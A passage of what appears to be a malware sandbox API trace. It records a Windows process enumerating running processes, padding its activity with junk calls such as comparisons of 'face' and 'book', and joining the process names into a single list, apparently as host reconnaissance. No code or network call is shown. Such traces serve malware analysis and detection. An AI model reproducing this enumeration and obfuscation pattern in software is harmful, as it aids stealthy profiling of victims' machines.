param_1=0x246f45f, param_2="%X%P" | out: param_1="1E978P") returned 6 [0134.442] SetLastError (dwErrCode=0x0) [0134.442] GetCurrentProcessId () returned 0x79c [0134.442] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0134.443] GetCurrentProcess () returned 0xffffffff [0134.443] GetLastError () returned 0x0 [0134.443] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="1E979P") returned 6 [0134.443] SetLastError (dwErrCode=0x0) [0134.443] GetCurrentProcessId () returned 0x79c [0134.443] GetLastError () returned 0x0 [0134.443] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="1E97AP") returned 6 [0134.443] SetLastError (dwErrCode=0x0) [0134.443] GetCurrentProcessId () returned 0x79c [0134.443] GetCurrentProcessId () returned 0x79c [0134.443] GetCurrentProcessId () returned 0x79c [0134.443] lstrcpyW (in: lpString1=0x4e7e14, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0134.443] GetCurrentProcessId () returned 0x79c [0134.443] GetCurrentProcessId () returned 0x79c [0134.443] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0134.443] lstrlenA (lpString="just string") returned 11 [0134.443] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.443] GetLastError () returned 0x0 [0134.443] GetCurrentProcessId () returned 0x79c [0134.443] lstrcpyW (in: lpString1=0x4e802c, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0134.443] GetCurrentProcess () returned 0xffffffff [0134.443] GetLastError () returned 0x0 [0134.443] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="1E997P") returned 6 [0134.443] SetLastError (dwErrCode=0x0) [0134.443] GetCurrentProcessId () returned 0x79c [0134.443] GetLastError () returned 0x0 [0134.443] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="1E998P") returned 6 [0134.444] SetLastError (dwErrCode=0x0) [0134.444] GetCurrentProcessId () returned 0x79c [0134.444] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.444] GetCurrentProcessId () returned 0x79c [0134.444] GetCurrentProcessId () returned 0x79c [0134.444] GetCurrentProcessId () returned 0x79c [0134.444] GetCurrentProcessId () returned 0x79c [0134.444] lstrcpyW (in: lpString1=0x4e8244, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0134.444] lstrlenA (lpString="just string") returned 11 [0134.444] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.444] GetLastError () returned 0x0 [0134.444] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.444] GetCurrentProcess () returned 0xffffffff [0134.444] GetLastError () returned 0x0 [0134.444] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="1E9B5P") returned 6 [0134.444] SetLastError (dwErrCode=0x0) [0134.444] GetCurrentProcessId () returned 0x79c [0134.444] GetCurrentProcessId () returned 0x79c [0134.444] GetLastError () returned 0x0 [0134.444] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="1E9B6P") returned 6 [0134.444] SetLastError (dwErrCode=0x0) [0134.444] GetCurrentProcessId () returned 0x79c [0134.444] GetCurrentProcessId () returned 0x79c [0134.444] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.445] GetCurrentProcessId () returned 0x79c [0134.445] GetCurrentProcessId () returned 0x79c [0134.445] GetCurrentProcessId () returned 0x79c [0134.445] lstrlenA (lpString="just string") returned 11 [0134.445] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.445] GetLastError () returned 0x0 [0134.445] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.445] GetCurrentProcess () returned 0xffffffff [0134.445] GetLastError () returned 0x0 [0134.445] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="1E9F1P") returned 6 [0134.445] SetLastError (dwErrCode=0x0) [0134.445] GetCurrentProcessId () returned 0x79c [0134.445] GetCurrentProcessId () returned 0x79c [0134.445] GetLastError () returned 0x0 [0134.445] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="1E9F2P") returned 6 [0134.445] SetLastError (dwErrCode=0x0) [0134.445] GetCurrentProcessId () returned 0x79c [0134.445] GetCurrentProcessId () returned 0x79c [0134.445] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.446] GetCurrentProcessId () returned 0x79c [0134.446] GetCurrentProcessId () returned 0x79c [0134.446] GetCurrentProcessId () returned 0x79c [0134.446] lstrlenA (lpString="just string") returned 11 [0134.446] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.446] GetLastError () returned 0x0 [0134.446] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0134.446] GetCurrentProcessId () returned 0x79c [0134.446] GetLastError () returned 0x0 [0134.446] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.446] SetLastError (dwErrCode=0x0) [0134.446] GetCurrentProcess () returned 0xffffffff [0134.446] GetLastError () returned 0x0 [0134.446] wsprintfA (in: param_1=0x246f443, param_2="%X%P" | out: param_1="1EA54P") returned 6 [0134.446] SetLastError (dwErrCode=0x0) [0134.446] GetCurrentProcessId () returned 0x79c [0134.446] lstrcpyW (in: lpString1=0x4e845c, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0134.446] GetCurrentProcess () returned 0xffffffff [0134.446] GetLastError () returned 0x0 [0134.446] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="1EA55P") returned 6 [0134.446] SetLastError (dwErrCode=0x0) [0134.446] GetCurrentProcessId () returned 0x79c [0134.446] GetLastError () returned 0x0 [0134.446] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="1EA56P") returned 6 [0134.446] SetLastError (dwErrCode=0x0) [0134.446] GetCurrentProcessId () returned 0x79c [0134.446] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.447] GetCurrentProcessId () returned 0x79c [0134.447] GetCurrentProcessId () returned 0x79c [0134.447] GetCurrentProcessId () returned 0x79c [0134.447] GetCurrentProcessId () returned 0x79c [0134.447] lstrlenA (lpString="just string") returned 11 [0134.447] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.447] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.447] GetLastError () returned 0x0 [0134.447] GetCurrentProcessId () returned 0x79c [0134.447] GetLastError () returned 0x0 [0134.447] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0134.447] GetCurrentProcessId () returned 0x79c [0134.447] GetCurrentProcessId () returned 0x79c [0134.447] GetCurrentProcessId () returned 0x79c [0134.447] lstrlenA (lpString="just string") returned 11 [0134.447] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.447] lstrcpyW (in: lpString1=0x4e8674, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0134.448] GetLastError () returned 0x0 [0134.448] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.448] GetCurrentProcessId () returned 0x79c [0134.448] GetCurrentProcessId () returned 0x79c [0134.448] GetCurrentProcessId () returned 0x79c [0134.448] GetCurrentProcessId () returned 0x79c [0134.448] lstrlenA (lpString="just string") returned 11 [0134.448] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.448] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0134.448] GetLastError () returned 0x0 [0134.448] GetCurrentProcessId () returned 0x79c [0134.448] lstrlenA (lpString="just string") returned 11 [0134.448] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.448] lstrcpyW (in: lpString1=0x4e888c, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0134.448] GetLastError () returned 0x0 [0134.448] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0134.449] GetCurrentProcessId () returned 0x79c [0134.449] lstrlenA (lpString="just string") returned 11 [0134.449] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.449] GetCurrentProcessId () returned 0x79c [0134.449] GetLastError () returned 0x0 [0134.449] lstrcpyW (in: lpString1=0x4e8aa4, lpString2="userinit.exe" | out: lpString1="userinit.exe") returned="userinit.exe" [0134.449] GetLastError () returned 0x0 [0134.449] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.449] SetLastError (dwErrCode=0x0) [0134.449] GetCurrentProcess () returned 0xffffffff [0134.449] GetLastError () returned 0x0 [0134.449] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="1EAEAP") returned 6 [0134.449] SetLastError (dwErrCode=0x0) [0134.449] GetCurrentProcessId () returned 0x79c [0134.449] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x34c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0134.449] GetCurrentProcess () returned 0xffffffff [0134.449] GetLastError () returned 0x0 [0134.449] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="1EAEBP") returned 6 [0134.449] SetLastError (dwErrCode=0x0) [0134.449] GetCurrentProcessId () returned 0x79c [0134.449] GetLastError () returned 0x0 [0134.449] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="1EAECP") returned 6 [0134.449] SetLastError (dwErrCode=0x0) [0134.449] GetCurrentProcessId () returned 0x79c [0134.449] GetCurrentProcessId () returned 0x79c [0134.449] GetCurrentProcessId () returned 0x79c [0134.449] lstrcpyW (in: lpString1=0x4e8cbc, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0134.449] GetCurrentProcessId () returned 0x79c [0134.449] GetCurrentProcessId () returned 0x79c [0134.449] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0134.450] lstrlenA (lpString="just string") returned 11 [0134.450] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.450] GetLastError () returned 0x0 [0134.450] GetCurrentProcessId () returned 0x79c [0134.450] lstrcpyW (in: lpString1=0x4e8ed4, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0134.450] GetLastError () returned 0x0 [0134.450] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0134.450] GetCurrentProcessId () returned 0x79c [0134.450] lstrlenA (lpString="just string") returned 11 [0134.450] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.450] GetCurrentProcessId () returned 0x79c [0134.450] GetLastError () returned 0x0 [0134.450] lstrcpyW (in: lpString1=0x4e9104, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0134.450] GetCurrentProcessId () returned 0x79c [0134.450] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0134.451] lstrlenA (lpString="just string") returned 11 [0134.451] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.451] GetLastError () returned 0x0 [0134.451] GetCurrentProcessId () returned 0x79c [0134.451] lstrcpyW (in: lpString1=0x4e932c, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0134.451] GetLastError () returned 0x0 [0134.451] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="1EB82P") returned 6 [0134.451] SetLastError (dwErrCode=0x0) [0134.451] GetCurrentProcessId () returned 0x79c [0134.451] GetCurrentProcessId () returned 0x79c [0134.451] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0134.451] GetCurrentProcessId () returned 0x79c [0134.451] GetCurrentProcessId () returned 0x79c [0134.451] GetCurrentProcessId () returned 0x79c [0134.451] lstrlenA (lpString="just string") returned 11 [0134.451] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.451] lstrcpyW (in: lpString1=0x4e9554, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0134.451] GetLastError () returned 0x0 [0134.451] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0134.452] GetLastError () returned 0x0 [0134.452] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.452] SetLastError (dwErrCode=0x0) [0134.452] GetCurrentProcess () returned 0xffffffff [0134.452] GetLastError () returned 0x0 [0134.452] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="1EBA8P") returned 6 [0134.452] SetLastError (dwErrCode=0x0) [0134.452] GetCurrentProcessId () returned 0x79c [0134.452] GetCurrentProcess () returned 0xffffffff [0134.452] GetLastError () returned 0x0 [0134.452] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="1EBA9P") returned 6 [0134.452] SetLastError (dwErrCode=0x0) [0134.452] GetCurrentProcessId () returned 0x79c [0134.452] GetCurrentProcessId () returned 0x79c [0134.452] GetLastError () returned 0x0 [0134.452] wsprintfA (in: param_1=0x246f443, param_2="%X%P" | out: param_1="1EBAAP") returned 6 [0134.452] SetLastError (dwErrCode=0x0) [0134.452] GetCurrentProcessId () returned 0x79c [0134.452] lstrcpyW (in: lpString1=0x4e977c, lpString2="reader_sl.exe" | out: lpString1="reader_sl.exe") returned="reader_sl.exe" [0134.452] GetCurrentProcessId () returned 0x79c [0134.452] GetCurrentProcessId () returned 0x79c [0134.452] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0134.452] GetCurrentProcessId () returned 0x79c [0134.452] lstrlenA (lpString="just string") returned 11 [0134.452] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.452] GetCurrentProcessId () returned 0x79c [0134.452] GetLastError () returned 0x0 [0134.453] lstrcpyW (in: lpString1=0x4e99a4, lpString2="systeminfo.exe" | out: lpString1="systeminfo.exe") returned="systeminfo.exe" [0134.453] lstrlenA (lpString="just string") returned 11 [0134.453] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.453] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x25c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0134.453] GetLastError () returned 0x0 [0134.453] GetCurrentProcessId () returned 0x79c [0134.453] GetCurrentProcess () returned 0xffffffff [0134.453] GetLastError () returned 0x0 [0134.453] wsprintfA (in: param_1=0x246f443, param_2="%X%P" | out: param_1="1EBDBP") returned 6 [0134.453] SetLastError (dwErrCode=0x0) [0134.453] GetCurrentProcessId () returned 0x79c [0134.453] lstrcpyW (in: lpString1=0x4e9bcc, lpString2="dllhost.exe" | out: lpString1="dllhost.exe") returned="dllhost.exe" [0134.453] GetLastError () returned 0x0 [0134.453] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="1EBDCP") returned 6 [0134.453] SetLastError (dwErrCode=0x0) [0134.453] GetCurrentProcessId () returned 0x79c [0134.453] GetCurrentProcessId () returned 0x79c [0134.453] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x25c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0134.454] CloseHandle (hObject=0x12c) returned 1 [0134.454] GetCurrentProcessId () returned 0x79c [0134.454] lstrlenW (lpString="dllhost.exe") returned 11 [0134.454] lstrlenW (lpString="systeminfo.exe") returned 14 [0134.454] lstrlenW (lpString="reader_sl.exe") returned 13 [0134.454] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0134.454] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0134.454] lstrlenW (lpString="explorer.exe") returned 12 [0134.454] lstrlenW (lpString="dwm.exe") returned 7 [0134.454] lstrlenW (lpString="taskeng.exe") returned 11 [0134.454] lstrlenW (lpString="userinit.exe") returned 12 [0134.454] lstrlenW (lpString="taskhost.exe") returned 12 [0134.454] lstrlenW (lpString="spoolsv.exe") returned 11 [0134.454] lstrlenW (lpString="audiodg.exe") returned 11 [0134.454] lstrlenW (lpString="svchost.exe") returned 11 [0134.454] lstrlenW (lpString="lsm.exe") returned 7 [0134.454] lstrlenW (lpString="lsass.exe") returned 9 [0134.454] lstrlenW (lpString="services.exe") returned 12 [0134.454] lstrlenW (lpString="winlogon.exe") returned 12 [0134.454] lstrlenW (lpString="wininit.exe") returned 11 [0134.454] lstrlenW (lpString="csrss.exe") returned 9 [0134.454] lstrlenW (lpString="smss.exe") returned 8 [0134.454] lstrlenW (lpString="System") returned 6 [0134.454] lstrlenW (lpString="[System Process]") returned 16 [0134.454] lstrcmpiW (lpString1="dllhost.exe", lpString2="systeminfo.exe") returned -1 [0134.454] lstrcpyW (in: lpString1=0x4ed0e8, lpString2="dllhost.exe" | out: lpString1="dllhost.exe") returned="dllhost.exe" [0134.454] lstrlenW (lpString="dllhost.exe") returned 11 [0134.454] lstrcmpiW (lpString1="systeminfo.exe", lpString2="systeminfo.exe") returned 0 [0134.454] lstrcmpiW (lpString1="reader_sl.exe", lpString2="systeminfo.exe") returned -1 [0134.454] lstrcpyW (in: lpString1=0x4ed100, lpString2="reader_sl.exe" | out: lpString1="reader_sl.exe") returned="reader_sl.exe" [0134.454] lstrlenW (lpString="reader_sl.exe") returned 13 [0134.454] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="systeminfo.exe") returned -1 [0134.454] lstrcpyW (in: lpString1=0x4ed11c, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0134.454] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0134.454] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="systeminfo.exe") returned -1 [0134.454] lstrcpyW (in: lpString1=0x4ed136, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0134.454] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0134.454] lstrcmpiW (lpString1="explorer.exe", lpString2="systeminfo.exe") returned -1 [0134.454] lstrcpyW (in: lpString1=0x4ed160, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0134.454] lstrlenW (lpString="explorer.exe") returned 12 [0134.454] lstrcmpiW (lpString1="dwm.exe", lpString2="systeminfo.exe") returned -1 [0134.454] lstrcpyW (in: lpString1=0x4ed17a, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0134.454] lstrlenW (lpString="dwm.exe") returned 7 [0134.454] lstrcmpiW (lpString1="taskeng.exe", lpString2="systeminfo.exe") returned 1 [0134.454] lstrcpyW (in: lpString1=0x4ed18a, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0134.454] lstrlenW (lpString="taskeng.exe") returned 11 [0134.454] lstrcmpiW (lpString1="userinit.exe", lpString2="systeminfo.exe") returned 1 [0134.454] lstrcpyW (in: lpString1=0x4ed1a2, lpString2="userinit.exe" | out: lpString1="userinit.exe") returned="userinit.exe" [0134.454] lstrlenW (lpString="userinit.exe") returned 12 [0134.454] lstrcmpiW (lpString1="taskhost.exe", lpString2="systeminfo.exe") returned 1 [0134.454] lstrcpyW (in: lpString1=0x4ed1bc, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0134.455] lstrlenW (lpString="taskhost.exe") returned 12 [0134.455] lstrcmpiW (lpString1="spoolsv.exe", lpString2="systeminfo.exe") returned -1 [0134.455] lstrcpyW (in: lpString1=0x4ed1d6, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0134.455] lstrlenW (lpString="spoolsv.exe") returned 11 [0134.455] lstrcmpiW (lpString1="audiodg.exe", lpString2="systeminfo.exe") returned -1 [0134.455] lstrcpyW (in: lpString1=0x4ed1ee, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0134.455] lstrlenW (lpString="audiodg.exe") returned 11 [0134.455] lstrcmpiW (lpString1="svchost.exe", lpString2="systeminfo.exe") returned -1 [0134.455] lstrcpyW (in: lpString1=0x4ed206, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0134.455] lstrlenW (lpString="svchost.exe") returned 11 [0134.455] lstrcmpiW (lpString1="lsm.exe", lpString2="systeminfo.exe") returned -1 [0134.455] lstrcpyW (in: lpString1=0x4ed21e, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0134.455] lstrlenW (lpString="lsm.exe") returned 7 [0134.455] lstrcmpiW (lpString1="lsass.exe", lpString2="systeminfo.exe") returned -1 [0134.455] lstrcpyW (in: lpString1=0x4ed22e, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0134.455] lstrlenW (lpString="lsass.exe") returned 9 [0134.455] lstrcmpiW (lpString1="services.exe", lpString2="systeminfo.exe") returned -1 [0134.455] lstrcpyW (in: lpString1=0x4ed242, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0134.455] lstrlenW (lpString="services.exe") returned 12 [0134.455] lstrcmpiW (lpString1="winlogon.exe", lpString2="systeminfo.exe") returned 1 [0134.455] lstrcpyW (in: lpString1=0x4ed25c, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0134.455] lstrlenW (lpString="winlogon.exe") returned 12 [0134.455] lstrcmpiW (lpString1="wininit.exe", lpString2="systeminfo.exe") returned 1 [0134.455] lstrcpyW (in: lpString1=0x4ed276, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0134.455] lstrlenW (lpString="wininit.exe") returned 11 [0134.455] lstrcmpiW (lpString1="csrss.exe", lpString2="systeminfo.exe") returned -1 [0134.455] lstrcpyW (in: lpString1=0x4ed28e, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0134.455] lstrlenW (lpString="csrss.exe") returned 9 [0134.455] lstrcmpiW (lpString1="smss.exe", lpString2="systeminfo.exe") returned -1 [0134.455] lstrcpyW (in: lpString1=0x4ed2a2, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0134.455] lstrlenW (lpString="smss.exe") returned 8 [0134.455] lstrcmpiW (lpString1="System", lpString2="systeminfo.exe") returned -1 [0134.455] lstrcpyW (in: lpString1=0x4ed2b4, lpString2="System" | out: lpString1="System") returned="System" [0134.455] lstrlenW (lpString="System") returned 6 [0134.455] lstrcmpiW (lpString1="[System Process]", lpString2="systeminfo.exe") returned -1 [0134.455] lstrcpyW (in: lpString1=0x4ed2c2, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0134.455] lstrlenW (lpString="[System Process]") returned 16 [0134.455] GetCurrentProcessId () returned 0x79c [0134.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dllhost.exe,reader_sl.exe,ONENOTEM.EXE,OfficeClickToRun.exe,explorer.exe,dwm.exe,taskeng.exe,userinit.exe,taskhost.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=254, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 254 [0134.455] lstrlenA (lpString="just string") returned 11 [0134.455] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 